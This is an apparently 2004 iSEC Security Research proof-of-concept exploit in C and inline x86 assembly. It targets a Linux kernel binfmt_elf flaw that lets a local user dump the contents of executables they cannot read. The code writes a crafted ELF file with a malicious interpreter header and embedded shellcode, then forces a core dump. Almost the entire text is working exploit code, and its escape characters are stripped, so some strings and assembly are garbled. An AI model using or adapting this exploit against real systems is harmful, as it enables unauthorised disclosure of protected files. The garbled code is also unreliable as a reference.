Linux Kernel ELF Binary Loader Local Proof of Concept
/*
* *binfmt_elf executable file read vulnerability * *gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump * *Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * *THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" *AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION *WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * * [url]http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt[/url] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/types.h> #include <sys/resource.h> #include <sys/wait.h> #include <linux/elf.h> #define BADNAME "/tmp/_elf_dump" void usage(char *s) { printf("nUsage: %s executablenn", s); exit(0); } //ugly mem scan code :-) static volatile void bad_code(void) { __asm__( //"1:jmp 1b n" "xorl%edi, %edin" "movl%esp, %esin" "xorl%edx, %edxn" "xorl%ebp, %ebpn" "callget_addrn" "movl%esi, %espn" "movl%edi, %ebpn" "jmpinst_sign" "get_addr:popl%ecxn" //sighand "inst_sig:xorl%eax, %eaxn" "movl$11, %ebxn" "movb$48, %aln" "int$0x80n" "ld_page:movl%ebp, %eaxn" "subl%edx, %eaxn" "cmpl$0x1000, %eaxn" "jleld_page2n" //mprotect "pushan" "movl%edx, %ebxn" "addl $0x1000, %ebxn" "movl%eax, %ecxn" "xorl%eax, %eaxn" "movb$125, %aln" "movl$7, %edxn" "int$0x80n" "popan" "ld_page2:addl$0x1000, %edin" "cmpl$0xc0000000, %edin" "jedumpn" "movl%ebp, %edxn" "movl(%edi), %eaxn" "jmpld_pagen" "dump:xorl%eax, %eaxn" "xorl%ecx, %ecxn" "movl$11, %ebxn" "movb$48, %aln" "int$0x80n" "movl$0xdeadbeef, %eaxn" "jmp*(%eax)n" ); } static volatile void bad_code_end(void) { } int main(int ac, char **av) { struct elfhdr eh; struct elf_phdr eph; struct rlimit rl; int fd, nl, pid; if(ac<2) usage(av[0]); //make bad a.out fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755); nl = strlen(av[1])+1; memset(&eh, 0, sizeof(eh) ); //elf exec header memcpy(eh.e_ident, ELFMAG, SELFMAG); eh.e_type = ET_EXEC; eh.e_machine = EM_386; eh.e_phentsize = sizeof(struct elf_phdr); eh.e_phnum = 2; eh.e_phoff = sizeof(eh); write(fd, &eh, sizeof(eh) ); //section header(s) memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_INTERP; eph.p_offset = sizeof(eh) + 2*sizeof(eph); eph.p_filesz = nl; write(fd, &eph, sizeof(eph) ); memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_LOAD; eph.p_offset = 4096; eph.p_filesz = 4096; eph.p_vaddr = 0x0000; eph.p_flags = PF_R|PF_X; write(fd, &eph, sizeof(eph) ); //.interp write(fd, av[1], nl ); //execable code nl = &bad_code_end - &bad_code; lseek(fd, 4096, SEEK_SET); write(fd, &bad_code, 4096); close(fd); //dump the shit rl.rlim_cur = RLIM_INFINITY; rl.rlim_max = RLIM_INFINITY; if( setrlimit(RLIMIT_CORE, &rl) ) perror("nsetrlimit failed"); fflush(stdout); pid = fork(); if(pid) wait(NULL); else execl(BADNAME, BADNAME, NULL); printf("ncore dumped!nn"); unlink(BADNAME); return 0; }